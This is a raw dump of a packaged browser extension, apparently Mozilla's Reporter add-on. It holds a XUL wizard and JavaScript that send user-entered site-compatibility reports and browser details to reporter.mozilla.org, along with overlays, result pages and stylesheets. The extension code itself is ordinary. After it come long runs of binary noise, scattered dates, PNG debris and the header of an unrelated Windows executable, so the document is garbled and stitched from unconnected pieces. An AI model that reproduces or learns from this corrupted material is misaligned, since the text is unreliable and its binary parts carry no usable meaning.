- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<?xml-stylesheet href="chrome://reporter/skin/reportWizard.css" type="text/css"?>
<!DOCTYPE wizard [
<!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
%brandDTD;
<!ENTITY % reportWizardDTD SYSTEM "chrome://reporter/locale/reportWizard.dtd">
%reportWizardDTD;
<wizard id="reportWizard" title="&reportWizard.title;"
style="min-width: 535px; min-height: 442px;"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reportWizard.js"/>
<stringbundle id="strings" src="chrome://reporter/locale/reportWizard.properties"/>
<!-- Privacy Notice -->
<wizardpage id="privacyNotice"
onpageshow="initPrivacyNotice()"
onpageadvanced="setPrivacyPref()"
label = "&privacyNotice.label;">
<description>&reportWizardPrivacy.description;</description>
<vbox id="privacyFrame" flex="1">
<iframe id="privacyStatement" type="content" flex="1" src="" />
</vbox>
<description id="mustAgree">&reportWizardMustAgree.description;</description>
<vbox>
<hbox>
<checkbox id="dontShowPrivacyStatement" label="&dontShowPrivacyStatement.label;" accesskey="&dontShowPrivacyStatement.accesskey;" oncommand="privacyPolicyCheckbox()" />
</hbox>
</vbox>
</wizardpage>
<!-- Report Form -->
<wizardpage id="reportForm"
onpageshow="initForm()"
label="&reportForm.label;">
<description>&reportForm.description;</description>
<separator />
<grid>
<columns>
<column/>
<column flex="1"/>
</columns>
<rows>
<row align="center">
<label control="url" value="&reportForm.url.title;" accesskey="&reportForm.url.accesskey;"/>
<textbox id="url" size="60" readonly="true" class="noborder"/>
</row>
<row align="center">
<spacer/>
<checkbox id="behind_login" label="&reportForm.behind_login.title;" accesskey="&reportForm.behind_login.accesskey;"/>
</row>
<row align="center">
<label control="problem_type" value="&reportForm.problem_type.title;" accesskey="&reportForm.problem_type.accesskey;"/>
<!-- XXX: Perhaps this should eventually/maybe come from somewhere else? Eh, not sure so lets just hardcode this for now. -->
<menulist label="problem_type" id="problem_type" oncommand="validateForm()">
<menupopup>
<!-- ************* WARNING *************** -->
<!-- DO *NOT* Add/change/modify without consulting with r.m.o server admin first! -->
<!-- ************ /WARNING *************** -->
<menuitem label="&reportForm.problem_type.chooseOne.title;" value="0"/>
<menuitem label="&reportForm.problem_type.item1.title;" value="1"/>
<menuitem label="&reportForm.problem_type.item2.title;" value="2"/>
<menuitem label="&reportForm.problem_type.item3.title;" value="3"/>
<menuitem label="&reportForm.problem_type.item4.title;" value="4"/>
<menuitem label="&reportForm.problem_type.item5.title;" value="5"/>
<menuitem label="&reportForm.problem_type.item6.title;" value="6"/>
<menuitem label="&reportForm.problem_type.item8.title;" value="8"/>
<menuitem label="&reportForm.problem_type.item9.title;" value="9"/>
<!-- Other problem: must be item #7 and must be last -->
<menuitem label="&reportForm.problem_type.item7.title;" value="7"/>
</menupopup>
</menulist>
</row>
<row>
<label control="description" value="&reportForm.describe.title;" accesskey="&reportForm.describe.accesskey;"/>
<textbox id="description" value="" cols="40" rows="5" multiline="true" size="40" class="noborder"/>
</row>
<row align="center">
<label control="email" value="&reportForm.email.title;" accesskey="&reportForm.email.accesskey;"/>
<textbox id="email" size="60" class="noborder"/>
</row>
<row align="center">
<spacer/>
<hbox>
<label id="privacyPolicy" class="text-link"
value="&reportForm.privacyPolicy.title;"
tooltiptext="&reportForm.privacyPolicy.tooltip;"/>
</hbox>
</row>
</rows>
</grid>
</wizardpage>
<!-- Send Data -->
<wizardpage id="sendReport"
onpageshow="sendReport()"
label="&sendReport.label;">
<description>&sendReport.description;</description>
<separator />
<description id="sendReportProgressDescription"/>
<progressmeter id="sendReportProgressIndicator" mode="undetermined" value="0%"/>
</wizardpage>
<!-- Finish -->
<wizardpage id="finish"
label="&finish.label;">
<textbox id="finishSummary" size="60" readonly="true"/>
<hbox>
<checkbox id="showDetail" label="&reportResults.showDetail.title;" accesskey="&reportResults.showDetail.accesskey;" oncommand="showDetail()"/>
</hbox>
<vbox id="finishExtendedFrame" flex="1">
<iframe id="finishExtendedSuccess" type="content" src="report.xhtml" flex="1"/>
<iframe id="finishExtendedFailed" type="content" src="error.xhtml" flex="1"/>
</vbox>
</wizardpage>
</wizard>
}e7IF;
content/reporter/reportWizard.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Boris Zbarsky <bzbarsky@mit.edu>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
/********************************************************
* *** Warning ****
* DO _NOT_ MODIFY THIS FILE without first contacting
* Robert Accettura <robert@accettura.com>
* or a reporter.mozilla.org Admin!
*******************************************************/
const gParamLanguage = window.navigator.language;
const gRMOvers = "0.3"; // Do not touch without contacting reporter admin!
const gParamURL = window.arguments[0];
const gParamUserAgent = navigator.userAgent;
const gParamOSCPU = navigator.oscpu;
const gParamPlatform = navigator.platform;
const gCharset = window.arguments[1];
// Globals
var gParamDescription;
var gParamProblemType;
var gParamBehindLogin;
var gParamEmail;
var gParamBuildConfig;
var gParamGecko;
var gPrefBranch;
var gStatusIndicator;
function getReporterPrefBranch() {
if (!gPrefBranch) {
gPrefBranch = Components.classes["@mozilla.org/preferences-service;1"]
.getService(Components.interfaces.nsIPrefService)
.getBranch("extensions.reporter.");
return gPrefBranch;
function getBoolPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getBoolPref(prefname);
catch(ex) {
return aDefault;
function getCharPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getCharPref(prefname);
catch(ex) {
return aDefault;
function initPrivacyNotice() {
var reportWizard = document.getElementById('reportWizard');
// If they agreed, we continue on
if (getBoolPref("hidePrivacyStatement", false)) {
reportWizard.advance();
} else {
// Don't let users rewind or go forward
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// Load Privacy Policy
var privacyURL = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
document.getElementById("privacyStatement").setAttribute("src", privacyURL+"?plain");
function privacyPolicyCheckbox() {
// if checked, hide message and enable forward button, otherwise show the
// message and disable the forward button.
var canAdvance = document.getElementById('dontShowPrivacyStatement').checked;
document.getElementById('reportWizard').canAdvance = canAdvance;
function setPrivacyPref(){
if (document.getElementById('dontShowPrivacyStatement').checked){
var prefs = getReporterPrefBranch();
prefs.setBoolPref("hidePrivacyStatement", true);
function initForm() {
var strbundle=document.getElementById("strings");
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
document.getElementById('url').value = gParamURL;
// Change next button to "submit report"
reportWizard.getButton('next').label = strbundle.getString("submitReport");
reportWizard.getButton('next').setAttribute("accesskey",
strbundle.getString("submitReport.accesskey"));
// Set the privacy policy link href
var url = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
var privacyLink = document.getElementById("privacyPolicy");
privacyLink.setAttribute("href", url);
// We don't let the user go forward until they fulfill certain requirements - see validateform()
reportWizard.canAdvance = false;
document.getElementById("problem_type").focus();
function validateForm() {
var canAdvance = document.getElementById('problem_type').value != "0";
document.getElementById('reportWizard').canAdvance = canAdvance;
function registerSysID() {
var param = {
'method': 'submitRegister',
'language': gParamLanguage
// go get sysID
sendReporterServerData(param, onRegisterSysIDLoad);
function onRegisterSysIDLoad(req) {
if (req.status == 200) {
var paramSysID = req.responseXML.getElementsByTagName('result').item(0);
// saving
if (paramSysID) {
var prefs = getReporterPrefBranch();
prefs.setCharPref("sysid", paramSysID.textContent);
// Finally send report
sendReport();
return;
// Invalid Response Error
var strbundle = document.getElementById("strings");
showError(strbundle.getString("invalidResponse"));
return;
// On error
var errorStr = extractError(req);
showError(errorStr);
function sendReport() {
// Check for a sysid, if we don't have one, get one it will call sendReport on success.
var sysId = getCharPref("sysid", "");
if (sysId == ""){
registerSysID();
return;
// we control the user path from here.
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// why would we need a cancel button?
reportWizard.getButton("cancel").disabled = true;
var strbundle=document.getElementById("strings");
var statusDescription = document.getElementById('sendReportProgressDescription');
gStatusIndicator = document.getElementById('sendReportProgressIndicator');
// Data from form we need
gParamDescription = document.getElementById('description').value;
gParamProblemType = document.getElementById('problem_type').value;
gParamBehindLogin = document.getElementById('behind_login').checked;
gParamEmail = document.getElementById('email').value;
gParamBuildConfig = getBuildConfig();
gParamGecko = getGecko();
// params
var param = {
'method': 'submitReport',
'rmoVers': gRMOvers,
'url': gParamURL,
'problem_type': gParamProblemType,
'description': gParamDescription,
'behind_login': gParamBehindLogin,
'platform': gParamPlatform,
'oscpu': gParamOSCPU,
'gecko': gParamGecko,
'product': getProduct(),
'useragent': gParamUserAgent,
'buildconfig': gParamBuildConfig,
'language': gParamLanguage,
'email': gParamEmail,
'charset': gCharset,
'sysid': sysId
gStatusIndicator.value = "5%";
statusDescription.value = strbundle.getString("sendingReport");
sendReporterServerData(param, onSendReportDataLoad);
function onSendReportDataProgress(e) {
gStatusIndicator.value = (e.position / e.totalSize)*100;
function sendReporterServerData(params, callback) {
var serviceURL = getCharPref("serviceURL", "http://reporter.mozilla.org/service/0.3/");
params = serializeParams(params);
var request = new XMLHttpRequest();
request.onprogress = onSendReportDataProgress;
request.open("POST", serviceURL, true);
request.onreadystatechange = function () {
if (request.readyState == 4)
callback(request);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
function serializeParams(params) {
var str = '';
for (var key in params) {
str += key + '=' + encodeURIComponent(params[key]) + '&';
return str.slice(0, -1);
function onSendReportDataLoad(req) {
if (req.status != 200) {
var errorStr = extractError(req);
showError(errorStr);
return;
var reportWizard = document.getElementById('reportWizard');
var finishSummary = document.getElementById('finishSummary');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var statusDescription = document.getElementById('sendReportProgressDescription');
var strbundle = document.getElementById("strings");
// If successful
finishExtendedFailed.hidden = true;
statusDescription.value = strbundle.getString("reportSent");
reportWizard.canAdvance = true;
gStatusIndicator.value = "100%";
// Send to the finish page
reportWizard.advance();
// report ID returned from the web service
var reportId = req.responseXML.getElementsByTagName('reportId').item(0).firstChild.data;
finishSummary.value = strbundle.getString("successfullyCreatedReport") + " " + reportId;
finishExtendedDoc = finishExtendedSuccess.contentDocument;
finishExtendedDoc.getElementById('urlStri').textContent = gParamURL;
finishExtendedDoc.getElementById('problemTypeStri').textContent = document.getElementById('problem_type').label;
finishExtendedDoc.getElementById('descriptionStri').textContent = gParamDescription;
finishExtendedDoc.getElementById('platformStri').textContent = gParamPlatform;
finishExtendedDoc.getElementById('oscpuStri').textContent = gParamOSCPU;
finishExtendedDoc.getElementById('productStri').textContent = getProduct();
finishExtendedDoc.getElementById('geckoStri').textContent = gParamGecko;
finishExtendedDoc.getElementById('buildConfigStri').textContent = gParamBuildConfig;
finishExtendedDoc.getElementById('userAgentStri').textContent = gParamUserAgent;
finishExtendedDoc.getElementById('langStri').textContent = gParamLanguage;
finishExtendedDoc.getElementById('emailStri').textContent = gParamEmail;
finishExtendedDoc.getElementById('charsetStri').textContent = gCharset;
reportWizard.canRewind = false;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
return;
function extractError(req){
var error = req.responseXML.getElementsByTagName('errorString').item(0)
if (error) {
return error.textContent;
// Default error
var strbundle = document.getElementById("strings");
return strbundle.getString("defaultError");
function showError(errorStr){
var strbundle = document.getElementById("strings");
var finishSummary = document.getElementById('finishSummary');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
// If there was an error from the server
finishExtendedSuccess.hidden = true;
// Change the label on the page so users know we have an error
var finishPage = document.getElementById('finish');
finishPage.setAttribute("label",strbundle.getString("finishError"));
var reportWizard = document.getElementById('reportWizard');
reportWizard.canAdvance = true;
reportWizard.advance();
finishSummary.value = strbundle.getString("failedCreatingReport");
finishExtendedDoc = finishExtendedFailed.contentDocument;
finishExtendedDoc.getElementById('faultMessage').textContent = errorStr;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
function showDetail() {
var hideDetail = document.getElementById('showDetail').checked ? false : true;
document.getElementById('finishExtendedFrame').collapsed = hideDetail;
function getBuildConfig() {
// bz and Biesi are my heroes for writing/debugging this chunk.
try {
var ioservice =
Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var channel = ioservice.newChannel("chrome://global/content/buildconfig.html", null, null);
var stream = channel.open();
var scriptableInputStream =
Components.classes["@mozilla.org/scriptableinputstream;1"]
.createInstance(Components.interfaces.nsIScriptableInputStream);
scriptableInputStream.init(stream);
var data = "";
var curBit = scriptableInputStream.read(4096);
while (curBit.length) {
data += curBit;
curBit = scriptableInputStream.read(4096);
// Strip out the <!DOCTYPE> part, since it's not valid XML
data = data.replace(/^<!DOCTYPE[^>]*>/, "");
// Probably not strictly needed, but what the heck
data = data.replace(/^<html>/, "<html xmlns='http://www.w3.org/1999/xhtml'>");
var parser = new DOMParser();
var buildconfig = parser.parseFromString(data, "application/xhtml+xml");
var text = buildconfig.getElementsByTagName("body")[0].textContent;
var start= text.indexOf('Configure arguments')+19;
return text.substring(start);
} catch(ex) {
dump(ex);
return "Unknown";
function getProduct() {
try {
// Works on Firefox 1.0+ and Future SeaMonkey's
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.name+"/"+appInfo.version;
catch(ex) {}
// only works on Gecko 1.8 and higher (if above doesn't return)
if ('nsIChromeRegistrySea' in Components.interfaces) {
return 'SeaMonkey/'+
Components.classes['@mozilla.org/network/io-service;1']
.getService(Components.interfaces.nsIIOService)
.getProtocolHandler('http')
.QueryInterface(Components.interfaces.nsIHttpProtocolHandler).misc.substring(3);
// Firefox < 1.0+ or a last ditch effort for others that may fail
else if (navigator.vendor != ''){
return window.navigator.vendor+'/'+window.navigator.vendorSub;
else {
return "Unknown";
function getGecko() {
try {
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.platformBuildID;
catch(ex) {
return "00000000"; // 8 0's to ignore as we have historically
content/reporter/reporterOverlay.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Jay Patel <jay@mozilla.org>
- Gavin Sharp <gavin@gavinsharp.com>
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay SYSTEM "chrome://reporter/locale/reporterOverlay.dtd">
<overlay id="reporterMenuOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reporterOverlay.js"/>
<!-- Firefox -->
<broadcasterset id="mainBroadcasterSet">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="menu_HelpPopup">
<menuitem id="menu_HelpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertafter="releaseNotes"
observes="reporterItemsBroadcaster"
oncommand="loadReporterWizard()"/>
</menupopup>
<!-- SeaMonkey -->
<broadcasterset id="navBroadcasters">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="helpPopup">
<menuseparator insertbefore="menu_HelpAboutSeparator"/>
<menuitem id="helpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertbefore="menu_HelpAboutSeparator"
oncommand="loadReporterWizard()"
observes="reporterItemsBroadcaster"/>
</menupopup>
</overlay>
}e73w@
content/reporter/reporterOverlay.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Gavin Sharp <gavin@gavinsharp.com>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
var reporterListener = {
QueryInterface: function(aIID) {
if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||
aIID.equals(Components.interfaces.nsIWebProgressListener2) ||
aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
aIID.equals(Components.interfaces.nsISupports))
return this;
throw Components.results.NS_NOINTERFACE;
onLocationChange: function(aProgress, aRequest, aURI) {
var broadcaster = document.getElementById("reporterItemsBroadcaster");
var isEnabled = false;
if (aURI instanceof Components.interfaces.nsIURI) {
switch (aURI.scheme) {
case "http":
case "https":
case "ftp":
case "gopher":
isEnabled = true;
}
broadcaster.setAttribute("disabled", !isEnabled);
onStateChange: function() { },
onProgressChange: function() { },
onStatusChange: function() { },
onSecurityChange: function() { },
onLinkIconAvailable: function() { },
onProgressChange64: function() { },
onRefreshAttempted: function() { return true; }
function onBrowserLoad() {
if ("undefined" != typeof(gBrowser))
gBrowser.addProgressListener(reporterListener);
function loadReporterWizard() {
var browser = getBrowser();
var charSet = browser.contentDocument.characterSet;
var url = browser.currentURI.spec;
window.openDialog("chrome://reporter/content/reportWizard.xul", "",
"chrome,centerscreen,dialog",
url,
charSet);
return true;
window.addEventListener("load", onBrowserLoad, false);
content/reporter/error.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<h3>&error;</h3>
<div id="messagediv"><span id="faultMessage"/></div>
</body>
</html>
content/reporter/report.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<table>
<th>&reportSite;:</th>
<td><span id="urlStri"/></td>
<th>&reportProblemType;:</th>
<td><span id="problemTypeStri"/></td>
<th>&reportDecsription;:</th>
<td><span id="descriptionStri"/></td>
<th>&reportPlatform;:</th>
<td><span id="platformStri"/></td>
<th>&reportProduct;:</th>
<td><span id="productStri"/></td>
<th>&reportoscpu;:</th>
<td><span id="oscpuStri"/></td>
<th>&reportGecko;:</th>
<td><span id="geckoStri"/></td>
<th>&reportBuildConfig;:</th>
<td><span id="buildConfigStri"/></td>
<th>&reportUseragent;:</th>
<td><span id="userAgentStri"/></td>
<th>&reportLanguage;:</th>
<td><span id="langStri"/></td>
<th>&reportCharset;:</th>
<td><span id="charsetStri"/></td>
<th>&reportEmail;:</th>
<td><span id="emailStri"/></td>
</table>
</body>
</html>
[62t]GA
skin/classic/reporter/icon.pngPNG
tEXtComment
Created with The GIMPd%n
D y<YE
_wi:rsrG
!_v'")GH
EPy//o=,
*s]o)TlpP'
VfD7$}v8v=
H;P'L{
=c,432
u}\squ
J7\HE]&
s2/VFVA
IENDB`PK
skin/classic/reporter/reportResults.cssbody {
font: message-box;
width: 100px;
text-align: left;
vertical-align: top;
table {
width: 95%;
skin/classic/reporter/reportWizard.css/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
#privacyFrame, #finishExtendedFrame {
-moz-appearance: listbox;
margin: 2px 4px;
border: 2px solid;
-moz-border-top-colors: ThreeDShadow ThreeDDarkShadow;
-moz-border-right-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-bottom-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-left-colors: ThreeDShadow ThreeDDarkShadow;
background-color: -moz-Field;
color: -moz-FieldText;
wizard[description=""] .wizard-header-description {
display: none;
content/reporter/reportWizard.xulPK
}e7IF;
content/reporter/reportWizard.jsPK
content/reporter/reporterOverlay.xulPK
}e73w@
content/reporter/reporterOverlay.jsPK
content/reporter/error.xhtmlPK
content/reporter/report.xhtmlPK
[62t]GA
skin/classic/reporter/icon.pngPK
skin/classic/reporter/reportResults.cssPK
skin/classic/reporter/reportWizard.cssPK
4/5/2019 4/5/2019 4/6/2019 14/6/2019 1BM8
Xea8I>v
BOD`jatuky
3@68F8@J;\f^qwu~y
at{y{4A3#/
qIQDjrh
6B5Sb^
wDG>4?3+=2tr^
lqkswn_eY
x0<@%5'3?/
grqZaYw|w
Zl@JtOYN"3%|
pusq{}
->>.;9
;I?GZT^mn
#-:HQ{p|{;LGauz
c: j>#pC&wJ*}L)xbUa`(7Vtehf\]s0AAHZTvcv}k
$.;IfvDHD8MTd{g~m~TfaUgbK`\]rw}aS?c8
"&K\\|RgrezXmuzJ]fsbqo@PKCTOD]d~'$
(6,.C<Uikt
iyA[hk~Zn
4JZ*:8
!+#*=5@WVObd
Z{e}3Qw;Vl
VY\^dl<BF=FH
+=55JF;PNIar
i|TewA[ob}Tfr
#'ZaiVajdq~!+''805MNZs
lZw(K,Z);K
x*=Ej|
$'-.98?QW7EJ
+-]v@R`q~Xtj)Bj&>m+FdK_te|4LVrBHI
15<jwu<J>JZYRfnPl+E\
*.buzb-Hq+M@Ts0E\
Vm~-7U7A;_eb7=C
4;C_lp
3DP3CJRdv3Ka@Zs
;]w;KXRn
;@D~6O`
/<I\i<qD|evv<Xjbu~DVX,;?
{NhyVn
'F^sl{;QX"-'
'! )!&
4Ro.D[%4D
CHPSmLi;N`
2OlUt
k$M4aKx/Mu
!*+:L}
,H%Ab6^!2G
'?]&Ef*Im
*2-6/=GB
'-1;;/80!&"
CRk1Gi
6BG_lw]gn
@b=cSx>Vw
AJW%(-
"*7;EahrCf Bf-T{?b^~|6AQ1:IfrIOX
AVg(FcSt
QdrH[sGf
g|>Vlatz
+Yesz{py
"*7FQa|bn
zxmv@FP
NZk?[}fvNV`
~`{d|ESf
)7n~T]m
hp}IP[
4/8/2019 4/8/2019 4/10/2019 4/10/2019 MZ
L!This program cannot be run in DOS mode.
PEC2^O
mbTpEN
:EWB(CO!
P\_!"%
hDB;e@~o
u|KrA/
b^UbUA
#Dzsb2dp&d
I81,xN6`
